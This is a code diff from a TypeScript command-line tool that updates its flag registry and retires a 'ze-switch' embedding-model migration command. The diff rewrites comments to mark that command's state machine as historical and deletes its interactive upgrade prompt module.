||||
@@ -65,8 +65,8 @@ export const CLI_FLAG_REGISTRY: Record<string, readonly string[]> = {
|
||||
'lint': ['--aliases', '--all', '--background', '--brain', '--brain-wide-max-cost-usd', '--dry-run', '--exclude', '--explain', '--fast', '--fix', '--follow', '--force', '--from-pages', '--help', '--http', '--include-null-signature', '--json', '--no-embedding', '--no-extract', '--pattern', '--pending', '--progress-interval', '--progress-json', '--quiet', '--remediate', '--reset', '--resolve', '--source', '--stale', '--supersessions', '--surface', '--thin', '--timeout', '--token-ttl'],
|
||||
'lsd': ['--brain', '--force-resume', '--help', '--json', '--judge-model', '--limit', '--list-runs', '--max-cost', '--max-far-set', '--max-ideas-per-judge-call', '--no-save', '--resume', '--retry-judge', '--save', '--source', '--strict-budget', '--yes'],
|
||||
'maintain': ['--aliases', '--all', '--background', '--brain', '--break-lock', '--by-mention', '--catch-up', '--concurrency', '--content-audit', '--count', '--detach', '--dim', '--dir', '--drain', '--dry-run', '--embedding-dimensions', '--embedding-model', '--explain', '--fast', '--fix', '--force', '--force-retry', '--force-schema', '--from-meetings', '--full', '--help', '--include-flagged', '--include-frontmatter', '--include-null-signature', '--index-audit', '--infer-dates', '--input', '--json', '--kind', '--lang', '--locks', '--markdown', '--max-cost', '--max-cost-usd', '--max-jobs', '--max-rss', '--max-usd', '--migrate-only', '--multimodal', '--near-symbol', '--ner', '--nice', '--no-extract', '--no-mutate', '--older-than', '--once', '--pack', '--parallel', '--params', '--path', '--pattern', '--pending', '--pglite', '--phase', '--pid-file', '--porcelain', '--probe-pglite', '--progress-json', '--query', '--queue', '--quiet', '--rebuild-rollup', '--regenerate', '--remediate', '--remediation-plan', '--reset', '--resolve', '--restore-only', '--resume', '--run-id', '--safe', '--scope', '--since', '--skills-dir', '--skip-failed', '--slugs', '--source', '--source-id', '--stale', '--status', '--supabase', '--supersessions', '--symbol-kind', '--target', '--target-score', '--thin', '--to', '--top-k', '--type', '--unsafe-bypass-dream-guard', '--url', '--verbose', '--window', '--workers', '--yes'],
|
||||
'migrate': ['--ab', '--aliases', '--all', '--auto-update', '--background', '--batch-size', '--brain', '--brain-wide-max-cost-usd', '--break-lock', '--build-index', '--by-mention', '--catch-up', '--compile', '--days', '--dim', '--dry-run', '--embedding-dimensions', '--embedding-model', '--embeddings', '--exclusive', '--explain', '--fast', '--fix', '--follow', '--force', '--force-break-lock', '--force-retry', '--force-schema', '--force-sunset-target', '--from-meetings', '--from-pages', '--help', '--history', '--http', '--ignore-env-override', '--ignore-missing-key', '--include-null-signature', '--json', '--lang', '--locks', '--markdown', '--max-age', '--model', '--multimodal', '--name', '--near-symbol', '--nice', '--no', '--no-embed', '--no-embedding', '--no-extract', '--non-interactive', '--pace', '--pace-max-concurrency', '--parallel', '--path', '--pattern', '--pending', '--phase', '--prefix', '--priority', '--progress-interval', '--progress-json', '--quiet', '--refresh-unqualified', '--remediate', '--reranker', '--reranking', '--reset', '--resolve', '--restore-only', '--resume', '--retarget', '--rollback', '--skip-verify', '--slugs', '--source', '--stale', '--status', '--supersessions', '--surface', '--symbol-kind', '--thin', '--timeout', '--to', '--token-ttl', '--undo', '--undo-wave', '--url', '--use-captured-snapshot', '--version', '--with-calibration', '--yes'],
|
||||
'models': ['--aliases', '--all', '--brain', '--ctx-size', '--detail', '--dim', '--embedding-dimensions', '--embedding-model', '--embeddings', '--help', '--include-null-signature', '--json', '--judge-model', '--model', '--multimodal', '--no', '--no-embed', '--no-extract', '--pattern', '--pending', '--reranking', '--reset', '--resolve', '--skip', '--source', '--stale', '--supersessions', '--thin', '--to', '--undo', '--version'],
|
||||
'migrate': ['--ab', '--aliases', '--all', '--auto-update', '--background', '--batch-size', '--brain', '--brain-wide-max-cost-usd', '--break-lock', '--build-index', '--by-mention', '--catch-up', '--compile', '--days', '--dim', '--dry-run', '--embedding-dimensions', '--embedding-model', '--embeddings', '--exclusive', '--explain', '--fast', '--fix', '--follow', '--force', '--force-break-lock', '--force-retry', '--force-schema', '--force-sunset-target', '--from-meetings', '--from-pages', '--help', '--history', '--http', '--ignore-env-override', '--ignore-missing-key', '--include-null-signature', '--json', '--lang', '--locks', '--markdown', '--max-age', '--model', '--multimodal', '--name', '--near-symbol', '--nice', '--no', '--no-embed', '--no-embedding', '--no-extract', '--non-interactive', '--pace', '--pace-max-concurrency', '--parallel', '--path', '--pattern', '--pending', '--phase', '--prefix', '--priority', '--progress-interval', '--progress-json', '--quiet', '--refresh-unqualified', '--remediate', '--reranker', '--reranking', '--reset', '--resolve', '--restore-only', '--resume', '--retarget', '--rollback', '--skip-verify', '--slugs', '--source', '--stale', '--status', '--supersessions', '--surface', '--symbol-kind', '--thin', '--timeout', '--to', '--token-ttl', '--undo-wave', '--url', '--use-captured-snapshot', '--version', '--with-calibration', '--yes'],
|
||||
'models': ['--aliases', '--all', '--brain', '--ctx-size', '--detail', '--dim', '--embedding-dimensions', '--embedding-model', '--embeddings', '--help', '--include-null-signature', '--json', '--judge-model', '--model', '--multimodal', '--no', '--no-embed', '--no-extract', '--pattern', '--pending', '--reranking', '--reset', '--resolve', '--skip', '--source', '--stale', '--supersessions', '--thin', '--to', '--version'],
|
||||
'mounts': ['--alias', '--brain', '--cache', '--database-path', '--database-url', '--db-path', '--db-url', '--engine', '--explain', '--help', '--id', '--json', '--lang', '--lock', '--markdown', '--mcp-url', '--multimodal', '--near-symbol', '--path', '--restore-only', '--skills-dir', '--source', '--stale', '--symbol-kind', '--thin', '--verbose'],
|
||||
'notability-eval': ['--aliases', '--all', '--brain', '--dim', '--embedding-dimensions', '--embedding-model', '--help', '--in', '--include-null-signature', '--json', '--model', '--multimodal', '--no', '--no-embed', '--no-extract', '--out', '--pattern', '--pending', '--repo', '--reset', '--resolve', '--skip-llm', '--source', '--stale', '--supersessions', '--target-high', '--target-low', '--target-medium', '--thin', '--to', '--version'],
|
||||
'onboard': ['--aliases', '--all', '--allow-empty', '--allow-protected', '--apply', '--asof', '--auto', '--auto-with-prompt', '--bound-max-concurrent', '--bound-slug-prefixes', '--bound-source', '--bound-tools', '--brain', '--budget-usd-per-day', '--by-mention', '--check', '--content', '--date', '--days', '--entities', '--explain', '--federated', '--file', '--follow', '--from-pages', '--help', '--history', '--http', '--image', '--include-null-signature', '--json', '--kind', '--limit', '--max-usd', '--mode', '--multimodal', '--no-extract', '--offset', '--params', '--path', '--pattern', '--pending', '--progress-interval', '--progress-json', '--quiet', '--remediate', '--remediation-plan', '--reset', '--resolve', '--resume', '--save', '--session', '--session-id', '--since', '--slug', '--slugs', '--source', '--stale', '--stats', '--supersessions', '--surface', '--target-score', '--thin', '--trusted-extraction', '--url', '--with-db', '--yes'],
|
||||
@@ -75,7 +75,7 @@ export const CLI_FLAG_REGISTRY: Record<string, readonly string[]> = {
|
||||
'pglite-repair': ['--brain', '--break-lock', '--dry-rnu', '--dry-run', '--fast', '--force', '--from-pages', '--help', '--http', '--json', '--no-embedding', '--path', '--quiet', '--source', '--surface', '--token-ttl', '--yes'],
|
||||
'post-upgrade': ['--all', '--apply-clean-hunks', '--brain', '--check', '--code', '--compile', '--concurrency', '--detail', '--dim', '--embedding-dimensions', '--embedding-model', '--fast', '--ff-only', '--flag', '--force', '--force-all', '--force-orchestrator', '--force-retry', '--force-schema', '--format', '--from-pages', '--help', '--host-dir', '--http', '--inject-bootstrap', '--inline', '--install', '--interval', '--json', '--limit', '--list', '--markdown', '--max-rss', '--migrate-only', '--migration', '--mode', '--model', '--multimodal', '--name-only', '--no', '--no-autopilot-install', '--no-embed', '--no-embedding', '--no-inject', '--no-worker', '--non-interactive', '--now', '--path', '--pglite', '--quiet', '--repo', '--reset', '--since', '--skills-dir', '--skip-verify', '--source', '--stale', '--status', '--supabase', '--surface', '--swap-only', '--target', '--to', '--token-ttl', '--uninstall', '--user', '--verbose', '--verify', '--version', '--workers', '--yes'],
|
||||
'protocol': ['--all', '--allow-empty', '--apply', '--asof', '--auto', '--bound-max-concurrent', '--bound-slug-prefixes', '--bound-source', '--bound-tools', '--brain', '--budget-usd-per-day', '--by-mention', '--content', '--date', '--days', '--entities', '--fast', '--federated', '--file', '--follow', '--force', '--from-pages', '--help', '--http', '--image', '--json', '--kind', '--limit', '--max-usd', '--mode', '--multimodal', '--no-embedding', '--offset', '--path', '--progress-interval', '--progress-json', '--quiet', '--save', '--session', '--session-id', '--since', '--slug', '--slugs', '--source', '--stats', '--surface', '--synthesize', '--target', '--timeout', '--token', '--token-ttl', '--trusted-extraction', '--url', '--with-db', '--yes'],
|
||||
'providers': ['--brain', '--ctx-size', '--dim', '--embedding-dimensions', '--embedding-model', '--embeddings', '--fast', '--force', '--from-pages', '--help', '--http', '--json', '--model', '--multimodal', '--no', '--no-embed', '--no-embedding', '--reranking', '--source', '--surface', '--to', '--token-ttl', '--touchpoint', '--version'],
|
||||
'providers': ['--brain', '--ctx-size', '--dim', '--embedding-dimensions', '--embedding-model', '--embeddings', '--fast', '--force', '--from-pages', '--help', '--http', '--json', '--model', '--multimodal', '--no', '--no-embed', '--no-embedding', '--reranking', '--source', '--surface', '--to', '--token-ttl', '--touchpoint', '--version', '--yes'],
|
||||
'publish': ['--accent', '--bg', '--border', '--brain', '--card-bg', '--code-bg', '--error', '--fg', '--help', '--json', '--link', '--muted', '--out', '--password', '--source', '--title'],
|
||||
'quarantine': ['--aliases', '--all', '--apply', '--brain', '--code', '--compile', '--explain', '--fast', '--fix', '--force', '--force-rechunk', '--from-pages', '--help', '--http', '--include-flagged', '--include-null-signature', '--json', '--lang', '--limit', '--markdown', '--multimodal', '--near-symbol', '--no-embed', '--no-embedding', '--no-extract', '--pattern', '--pending', '--reset', '--resolve', '--restore-only', '--source', '--source-id', '--stale', '--supersessions', '--surface', '--symbol-kind', '--thin', '--token-ttl'],
|
||||
'recall': ['--aliases', '--all', '--allow-empty', '--apply', '--as-context', '--asof', '--auto', '--bound-max-concurrent', '--bound-slug-prefixes', '--bound-source', '--bound-tools', '--brain', '--budget-tokens', '--budget-usd-per-day', '--by-mention', '--content', '--date', '--days', '--entities', '--fast', '--federated', '--file', '--follow', '--force', '--from-pages', '--grep', '--help', '--http', '--image', '--include-expired', '--include-null-signature', '--json', '--kind', '--limit', '--max-usd', '--mcp-only', '--mode', '--multimodal', '--no-embedding', '--no-extract', '--no-federated', '--offset', '--path', '--pattern', '--pending', '--progress-interval', '--progress-json', '--query', '--quiet', '--reason', '--repo', '--reset', '--resolve', '--restore-only', '--rollup', '--save', '--session', '--session-id', '--since', '--since-last-run', '--slug', '--slugs', '--source', '--source-guard', '--stale', '--stats', '--supersessions', '--surface', '--thin', '--timeout', '--today', '--token-ttl', '--trusted-extraction', '--url', '--watch', '--with-db', '--yes'],
|
||||
@@ -90,7 +90,7 @@ export const CLI_FLAG_REGISTRY: Record<string, readonly string[]> = {
|
||||
'report': ['--brain', '--content', '--dir', '--help', '--json', '--source', '--title', '--type'],
|
||||
'repos': ['--abbrev-ref', '--abort', '--aliases', '--all', '--all-sources', '--allow-unverified-remote', '--brain', '--branch', '--break-lock', '--cached', '--clone-dir', '--compile', '--confirm-destructive', '--count', '--detect', '--diff-filter', '--dry-run', '--exclude-standard', '--explain', '--fast', '--federated', '--file', '--fix', '--force', '--force-break-lock', '--format', '--from-pages', '--full', '--get', '--git-dir', '--git-path', '--github-repo', '--help', '--http', '--include-null-signature', '--include-warns', '--is-inside-work-tree', '--json', '--keep-storage', '--lang', '--local', '--markdown', '--max-age', '--max-cost-usd', '--message', '--multimodal', '--name', '--name-only', '--name-status', '--near-symbol', '--no-cron', '--no-embedding', '--no-extract', '--no-federate', '--no-federated', '--no-harden', '--no-verify', '--others', '--params', '--pat-file', '--path', '--pattern', '--pending', '--porcelain', '--push-only', '--quiet', '--rebase', '--repo', '--reset', '--resolve', '--restore-only', '--secret', '--set', '--short', '--show-toplevel', '--source', '--source-guard', '--source-id', '--stale', '--status', '--strategy', '--supersessions', '--surface', '--symbol-kind', '--thin', '--token-ttl', '--unset-all', '--url', '--url-managed', '--yes'],
|
||||
'resolvers': ['--auto', '--backend', '--brain', '--cost', '--help', '--json', '--source'],
|
||||
'retrieval-upgrade': ['--aliases', '--all', '--background', '--batch-size', '--brain', '--brain-wide-max-cost-usd', '--break-lock', '--catch-up', '--dim', '--dry-run', '--embedding-dimensions', '--embedding-model', '--embeddings', '--explain', '--fast', '--fix', '--follow', '--force', '--force-break-lock', '--force-sunset-target', '--from-pages', '--help', '--http', '--ignore-env-override', '--ignore-missing-key', '--include-null-signature', '--json', '--max-age', '--model', '--multimodal', '--name', '--nice', '--no', '--no-embed', '--no-embedding', '--no-extract', '--non-interactive', '--pace', '--pace-max-concurrency', '--parallel', '--pattern', '--pending', '--prefix', '--priority', '--progress-interval', '--progress-json', '--quiet', '--remediate', '--reranker', '--reranking', '--reset', '--resolve', '--resume', '--retarget', '--slugs', '--source', '--stale', '--status', '--supersessions', '--surface', '--thin', '--timeout', '--to', '--token-ttl', '--undo', '--version', '--yes'],
|
||||
'retrieval-upgrade': ['--aliases', '--all', '--background', '--batch-size', '--brain', '--brain-wide-max-cost-usd', '--break-lock', '--catch-up', '--dim', '--dry-run', '--embedding-dimensions', '--embedding-model', '--embeddings', '--explain', '--fast', '--fix', '--follow', '--force', '--force-break-lock', '--force-sunset-target', '--from-pages', '--help', '--http', '--ignore-env-override', '--ignore-missing-key', '--include-null-signature', '--json', '--max-age', '--model', '--multimodal', '--name', '--nice', '--no', '--no-embed', '--no-embedding', '--no-extract', '--non-interactive', '--pace', '--pace-max-concurrency', '--parallel', '--pattern', '--pending', '--prefix', '--priority', '--progress-interval', '--progress-json', '--quiet', '--remediate', '--reranker', '--reranking', '--reset', '--resolve', '--resume', '--retarget', '--slugs', '--source', '--stale', '--status', '--supersessions', '--surface', '--thin', '--timeout', '--to', '--token-ttl', '--version', '--yes'],
|
||||
'routing-eval': ['--brain', '--fix', '--help', '--json', '--llm', '--skills-dir', '--source', '--strict', '--verbose'],
|
||||
'salience': ['--aliases', '--all', '--brain', '--days', '--fast', '--force', '--from-pages', '--help', '--http', '--include-null-signature', '--json', '--kind', '--limit', '--mcp-only', '--no-embedding', '--no-extract', '--pattern', '--pending', '--reset', '--resolve', '--slug-prefix', '--source', '--stale', '--supersessions', '--surface', '--thin', '--timeout', '--token-ttl'],
|
||||
'schema': ['--alias', '--aliases', '--all', '--apply', '--as-filing-rules', '--brain', '--dims', '--expert', '--expert-routing', '--extractable', '--fast', '--force', '--from-pages', '--help', '--http', '--include-null-signature', '--inverse', '--json', '--kind', '--no-embedding', '--no-extract', '--pack', '--page-type', '--pattern', '--pending', '--prefix', '--primitive', '--reset', '--resolve', '--schema-pack', '--since', '--source', '--source-id', '--stale', '--supersessions', '--surface', '--target-type', '--thin', '--to', '--token-ttl', '--with-db'],
|
||||
@@ -111,5 +111,5 @@ export const CLI_FLAG_REGISTRY: Record<string, readonly string[]> = {
|
||||
'transcripts': ['--aliases', '--all', '--all-discovery', '--background', '--brain', '--brain-wide-max-cost-usd', '--by-mention', '--code', '--compile', '--days', '--dry-run', '--embed', '--explain', '--facts', '--fast', '--federated', '--follow', '--force', '--format', '--from-pages', '--full', '--help', '--http', '--include-null-signature', '--json', '--limit', '--markdown', '--max-cost-usd', '--no-embedding', '--no-extract', '--no-federated', '--path', '--pattern', '--pending', '--progress-interval', '--progress-json', '--quiet', '--remediate', '--repo', '--reset', '--resolve', '--restore-only', '--since', '--slug', '--source', '--source-guard', '--source-id', '--stale', '--supersessions', '--surface', '--thin', '--timeout', '--token-ttl'],
|
||||
'upgrade': ['--all', '--apply-clean-hunks', '--brain', '--check', '--code', '--compile', '--concurrency', '--detail', '--dim', '--embedding-dimensions', '--embedding-model', '--fast', '--ff-only', '--flag', '--force', '--force-all', '--force-orchestrator', '--force-retry', '--force-schema', '--format', '--from-pages', '--help', '--host-dir', '--http', '--inject-bootstrap', '--inline', '--install', '--interval', '--json', '--limit', '--list', '--markdown', '--max-rss', '--migrate-only', '--migration', '--mode', '--model', '--multimodal', '--name-only', '--no', '--no-autopilot-install', '--no-embed', '--no-embedding', '--no-inject', '--no-worker', '--non-interactive', '--now', '--path', '--pglite', '--quiet', '--repo', '--reset', '--since', '--skills-dir', '--skip-verify', '--source', '--stale', '--status', '--supabase', '--surface', '--swap-only', '--target', '--to', '--token-ttl', '--uninstall', '--user', '--verbose', '--verify', '--version', '--workers', '--yes'],
|
||||
'watch': ['--aliases', '--all', '--brain', '--fast', '--federated', '--force', '--from-pages', '--help', '--http', '--include-null-signature', '--json', '--max-pages', '--min-confidence', '--no-embedding', '--no-extract', '--no-federated', '--path', '--pattern', '--pending', '--repo', '--reset', '--resolve', '--restore-only', '--source', '--source-guard', '--stale', '--stats', '--supersessions', '--surface', '--thin', '--token-ttl', '--window-turns'],
|
||||
'ze-switch': ['--aliases', '--all', '--brain', '--confirm-reembed', '--dim', '--dry-run', '--force', '--help', '--ignore-env-override', '--ignore-missing-key', '--include-null-signature', '--json', '--markdown', '--no-extract', '--non-interactive', '--pattern', '--pending', '--reset', '--resolve', '--resume', '--source', '--stale', '--supersessions', '--thin', '--to', '--undo', '--yes'],
|
||||
'ze-switch': ['--aliases', '--all', '--background', '--brain', '--brain-wide-max-cost-usd', '--confirm-reembed', '--dim', '--dry-run', '--explain', '--follow', '--force', '--force-sunset-target', '--help', '--ignore-env-override', '--ignore-missing-key', '--include-null-signature', '--json', '--markdown', '--no-extract', '--non-interactive', '--pattern', '--pending', '--progress-interval', '--progress-json', '--quiet', '--remediate', '--reranker', '--reset', '--resolve', '--resume', '--source', '--stale', '--supersessions', '--thin', '--timeout', '--to', '--undo', '--yes'],
|
||||
};
|
||||
|
||||
@@ -2,9 +2,8 @@
|
||||
* Provider-agnostic embedding migration (#3390).
|
||||
*
|
||||
* `gbrain migrate embeddings --to <provider:model>` re-embeds a brain onto
|
||||
* any configured provider — the forward path off a sunsetting provider that
|
||||
* `ze-switch` (ZE-only target) and `ze-switch --undo` (needs a snapshot fresh
|
||||
* installs don't have) cannot cover.
|
||||
* any configured provider — the ONE forward path off a sunsetting provider
|
||||
* (the retired ze-switch is a refusal/redirect shim that points here).
|
||||
*
|
||||
* This module is the v0.47 SURVIVOR: the migration primitives live HERE
|
||||
* (runSchemaTransition, transitionDimPinnedColumn, detectEnvOverride and the
|
||||
|
||||
@@ -26,11 +26,11 @@
|
||||
* ze_switch_declined_at : ISO ts when user said "never ask again"
|
||||
* ze_switch_previous_snapshot : JSON snapshot for --undo (D16)
|
||||
*
|
||||
* State diagram:
|
||||
* RETIRED state machine (historical — no CLI path reaches it anymore):
|
||||
*
|
||||
* [fresh brain]
|
||||
* |
|
||||
* | user picks "s" or runs `gbrain ze-switch`
|
||||
* | (pre-v0.46.3) forward switch requested
|
||||
* v
|
||||
* prompt_shown=true, requested=true
|
||||
* |
|
||||
@@ -40,23 +40,19 @@
|
||||
* |
|
||||
* | config writes (embedding_model, dim, reranker)
|
||||
* v
|
||||
* applied=true -> stable. Re-embed via `gbrain embed --stale` or autopilot.
|
||||
* applied=true -> stable.
|
||||
*
|
||||
* Crash between schema and config writes:
|
||||
* requested=true, applied=false, schema is at target width.
|
||||
* Doctor's `embedding_width_consistency` detects + suggests `--resume`.
|
||||
*
|
||||
* "Never ask again" path:
|
||||
* prompt_shown=true, declined_at=<iso>. Re-asked after 90 days (C3).
|
||||
*
|
||||
* Undo path:
|
||||
* ze_switch_previous_snapshot JSON drives reverse schema + config.
|
||||
* Every arrow above is CLI-unreachable today: `gbrain ze-switch` is a pure
|
||||
* refusal/redirect shim (the sunset refusal landed in v0.46.3; the undo/
|
||||
* dry-run actions were retired in the interim ZE cleanup because apply/undo
|
||||
* write DB-plane config the post-v0.37 file-plane-canonical runtime never
|
||||
* reads). The functions below survive ONLY as test vehicles — they carry the
|
||||
* multimodal-column preservation pins and the env-override gate cases until
|
||||
* the v0.47 removal deletes this file wholesale.
|
||||
*
|
||||
* The planner is intentionally NOT a migration in the MIGRATIONS array.
|
||||
* Migrations are forward-only and run for every brain on every upgrade.
|
||||
* The ZE switch is conditional (user-requested), idempotent (re-runnable),
|
||||
* and reversible (--undo). Mixing it into MIGRATIONS would muddy the
|
||||
* ledger semantics (see plan D12 for full rationale).
|
||||
* Migrations are forward-only and run for every brain on every upgrade;
|
||||
* this machine was conditional, idempotent, and reversible (see plan D12).
|
||||
*/
|
||||
|
||||
import type { BrainEngine } from './engine.ts';
|
||||
@@ -81,7 +77,7 @@ export type { EnvOverrideWarning };
|
||||
// Constants
|
||||
// ============================================================================
|
||||
|
||||
/** v0.36.0.0 cutover target: ZeroEntropy zembed-1 at 1024d via Matryoshka. */
|
||||
/** v0.36.0.0 cutover target: ZeroEntropy zembed-1 at 1280d via Matryoshka. */
|
||||
export const ZE_TARGET_EMBEDDING_MODEL = 'zeroentropyai:zembed-1';
|
||||
export const ZE_TARGET_EMBEDDING_DIM = 1280;
|
||||
export const ZE_TARGET_RERANKER_MODEL = 'zeroentropyai:zerank-2';
|
||||
@@ -286,8 +282,9 @@ export async function planRetrievalUpgrade(engine: BrainEngine): Promise<Retriev
|
||||
* 5. Set ze_switch_applied = true
|
||||
*
|
||||
* Crash between (3) and (4) leaves the schema at the target width but the
|
||||
* config at the source. Doctor's `embedding_width_consistency` detects this
|
||||
* and suggests `gbrain ze-switch --resume`.
|
||||
* config at the source. Doctor's `embedding_width_consistency` detects the
|
||||
* drift and prints the engine-branched recovery recipe (there is no CLI
|
||||
* resume anymore — the ze-switch shim refuses everything).
|
||||
*/
|
||||
export async function applyRetrievalUpgrade(
|
||||
engine: BrainEngine,
|
||||
|
||||
@@ -1,285 +0,0 @@
|
||||
/**
|
||||
* v0.36.0.0 — Interactive prompt UI for the retrieval upgrade (D10 + D6 + C2).
|
||||
*
|
||||
* Wires the RetrievalUpgradePlanner to a TTY prompt that:
|
||||
* - Shows the comparison numbers from the v0.36.0.0 wave
|
||||
* - Presents a two-line cost split (D10): schema change + re-embed
|
||||
* - Includes the privacy callout (C2) when balanced-mode reranker flips on
|
||||
* - Honors TTY detection (non-TTY = skip, informational stderr line)
|
||||
* - Default-on-Enter = STAY (safest); explicit 's' = switch, 'l' = later,
|
||||
* 'n' = never ask again
|
||||
*
|
||||
* Used by:
|
||||
* - src/commands/upgrade.ts:runPostUpgrade (post-migration call site)
|
||||
* - src/commands/ze-switch.ts (manual CLI lever)
|
||||
*/
|
||||
|
||||
import type { BrainEngine } from './engine.ts';
|
||||
import {
|
||||
planRetrievalUpgrade,
|
||||
applyRetrievalUpgrade,
|
||||
recordDeclinedThisRun,
|
||||
recordDeclinedForever,
|
||||
resumeRetrievalUpgrade,
|
||||
undoRetrievalUpgrade,
|
||||
type RetrievalUpgradeState,
|
||||
type ApplyResult,
|
||||
type ZeSwitchSnapshot,
|
||||
KEY_PROMPT_SHOWN,
|
||||
KEY_APPLIED,
|
||||
KEY_REQUESTED,
|
||||
ZE_TARGET_EMBEDDING_MODEL,
|
||||
ZE_TARGET_EMBEDDING_DIM,
|
||||
} from './retrieval-upgrade-planner.ts';
|
||||
|
||||
// ============================================================================
|
||||
// Public API
|
||||
// ============================================================================
|
||||
|
||||
export interface PromptOpts {
|
||||
/** Override stdin TTY detection for tests. */
|
||||
isTTY?: boolean;
|
||||
/** Override the read function for tests (single keypress). */
|
||||
readKey?: () => Promise<string>;
|
||||
/** Where to write the prompt. Defaults to process.stderr. */
|
||||
write?: (line: string) => void;
|
||||
/** Bypass the `prompt_shown` gate (for `gbrain ze-switch --force`). */
|
||||
force?: boolean;
|
||||
}
|
||||
|
||||
export type PromptResult =
|
||||
| { status: 'applied'; plan: RetrievalUpgradeState }
|
||||
| { status: 'declined_this_run'; plan: RetrievalUpgradeState }
|
||||
| { status: 'declined_forever'; plan: RetrievalUpgradeState }
|
||||
| { status: 'not_offered'; plan: RetrievalUpgradeState; reason: string }
|
||||
| { status: 'non_tty_skip'; plan: RetrievalUpgradeState }
|
||||
| { status: 'failed'; plan: RetrievalUpgradeState; reason: string };
|
||||
|
||||
/**
|
||||
* Run the v0.36.0.0 retrieval-upgrade prompt. Returns a tagged-union outcome
|
||||
* so callers can dispatch without parsing strings (mirrors D15).
|
||||
*/
|
||||
export async function runRetrievalUpgradePrompt(
|
||||
engine: BrainEngine,
|
||||
opts: PromptOpts = {},
|
||||
): Promise<PromptResult> {
|
||||
const writeFn = opts.write ?? ((line: string) => process.stderr.write(line + '\n'));
|
||||
const isTTY = typeof opts.isTTY === 'boolean'
|
||||
? opts.isTTY
|
||||
: Boolean(process.stdin.isTTY);
|
||||
|
||||
// Don't re-ask within the same brain unless --force.
|
||||
if (!opts.force) {
|
||||
const shown = (await engine.getConfig(KEY_PROMPT_SHOWN)) === 'true';
|
||||
const applied = (await engine.getConfig(KEY_APPLIED)) === 'true';
|
||||
if (shown || applied) {
|
||||
const plan = await planRetrievalUpgrade(engine);
|
||||
return { status: 'not_offered', plan, reason: applied ? 'already_applied' : 'prompt_shown' };
|
||||
}
|
||||
}
|
||||
|
||||
const plan = await planRetrievalUpgrade(engine);
|
||||
|
||||
// Nothing to do.
|
||||
if (!plan.ze_switch_offered) {
|
||||
return {
|
||||
status: 'not_offered',
|
||||
plan,
|
||||
reason: plan.ze_switch_already_declined ? 'declined' : 'not_eligible',
|
||||
};
|
||||
}
|
||||
|
||||
// Show banner regardless of TTY so non-TTY upgrades see what they skipped.
|
||||
writeFn(formatBanner(plan));
|
||||
|
||||
if (!isTTY) {
|
||||
writeFn('[ze-switch] non-TTY environment; skipping prompt. Run `gbrain ze-switch` manually when ready.');
|
||||
return { status: 'non_tty_skip', plan };
|
||||
}
|
||||
|
||||
// Single-keypress prompt. Enter = stay (safest default).
|
||||
const key = await (opts.readKey ?? defaultReadKey)();
|
||||
const normalized = key.toLowerCase().trim();
|
||||
|
||||
if (normalized === 's') {
|
||||
// v0.41.2.1 — interactive path does NOT pass ignoreEnvOverride; if the
|
||||
// user has env vars set, the apply call returns 'refused' with the
|
||||
// structured warning. The prompt surfaces the ASCII box and surfaces
|
||||
// `failed` status so the CLI exits non-zero. Power users who really
|
||||
// want to override use the non-interactive `--ignore-env-override`.
|
||||
const result = await applyRetrievalUpgrade(engine, plan);
|
||||
if (result.status === 'applied') {
|
||||
writeFn('[ze-switch] Schema rebuilt at 1024d. Run `gbrain embed --stale` to refill embeddings (or wait for autopilot).');
|
||||
return { status: 'applied', plan };
|
||||
}
|
||||
if (result.status === 'refused' && result.reason === 'env_override') {
|
||||
// Lazy-import to avoid the prompt module pulling in the planner
|
||||
// module's full surface at module-load time.
|
||||
const { formatEnvOverrideWarning } = await import('./retrieval-upgrade-planner.ts');
|
||||
writeFn(formatEnvOverrideWarning(result.warning));
|
||||
return { status: 'failed', plan, reason: 'env_override (use --ignore-env-override to apply anyway)' };
|
||||
}
|
||||
if (result.status === 'failed') {
|
||||
return { status: 'failed', plan, reason: result.reason };
|
||||
}
|
||||
// skipped_* shouldn't happen here (we just planned and saw offered=true).
|
||||
return { status: 'failed', plan, reason: `unexpected apply status: ${result.status}` };
|
||||
}
|
||||
if (normalized === 'n') {
|
||||
await recordDeclinedForever(engine);
|
||||
writeFn('[ze-switch] Will not ask again. Re-enable with `gbrain ze-switch --force`.');
|
||||
return { status: 'declined_forever', plan };
|
||||
}
|
||||
// Enter, 'l', or anything else = defer to next upgrade.
|
||||
// Per C3 the planner re-asks on the next run; mark prompt_shown=false to
|
||||
// re-enable. We DON'T touch the config here; absence of prompt_shown means
|
||||
// re-ask. The 'l' case is identical.
|
||||
return { status: 'declined_this_run', plan };
|
||||
}
|
||||
|
||||
/** Mirror of runRetrievalUpgradePrompt for --undo (D16 cost-warning prompt). */
|
||||
export async function runUndoPrompt(
|
||||
engine: BrainEngine,
|
||||
opts: PromptOpts = {},
|
||||
): Promise<
|
||||
| { status: 'undone'; snapshot: ZeSwitchSnapshot }
|
||||
| { status: 'aborted' }
|
||||
| { status: 'non_tty_skip' }
|
||||
| { status: 'no_snapshot' }
|
||||
| { status: 'failed'; reason: string }
|
||||
> {
|
||||
const writeFn = opts.write ?? ((line: string) => process.stderr.write(line + '\n'));
|
||||
const isTTY = typeof opts.isTTY === 'boolean'
|
||||
? opts.isTTY
|
||||
: Boolean(process.stdin.isTTY);
|
||||
|
||||
// Read snapshot just to show the cost warning.
|
||||
const snapshotStr = await engine.getConfig('ze_switch_previous_snapshot');
|
||||
if (!snapshotStr) {
|
||||
writeFn('[ze-switch --undo] No prior config snapshot found (brain was never switched). Nothing to undo.');
|
||||
return { status: 'no_snapshot' };
|
||||
}
|
||||
let snapshot: ZeSwitchSnapshot;
|
||||
try {
|
||||
snapshot = JSON.parse(snapshotStr) as ZeSwitchSnapshot;
|
||||
} catch (err) {
|
||||
return { status: 'failed', reason: `corrupt snapshot: ${err instanceof Error ? err.message : String(err)}` };
|
||||
}
|
||||
|
||||
const plan = await planRetrievalUpgrade(engine);
|
||||
writeFn(formatUndoBanner(snapshot, plan.pages_pending_dim || 0));
|
||||
|
||||
if (!isTTY) {
|
||||
writeFn('[ze-switch --undo] non-TTY environment; refusing without --confirm-reembed.');
|
||||
return { status: 'non_tty_skip' };
|
||||
}
|
||||
|
||||
const key = await (opts.readKey ?? defaultReadKey)();
|
||||
if (key.toLowerCase().trim() !== 's') {
|
||||
writeFn('[ze-switch --undo] aborted (you must press `s` to confirm).');
|
||||
return { status: 'aborted' };
|
||||
}
|
||||
|
||||
const result = await undoRetrievalUpgrade(engine);
|
||||
if (result.status === 'undone') {
|
||||
writeFn(`[ze-switch --undo] Restored ${snapshot.embedding_model} at ${snapshot.embedding_dimensions}d. Run \`gbrain embed --stale\` to refill embeddings.`);
|
||||
return result;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
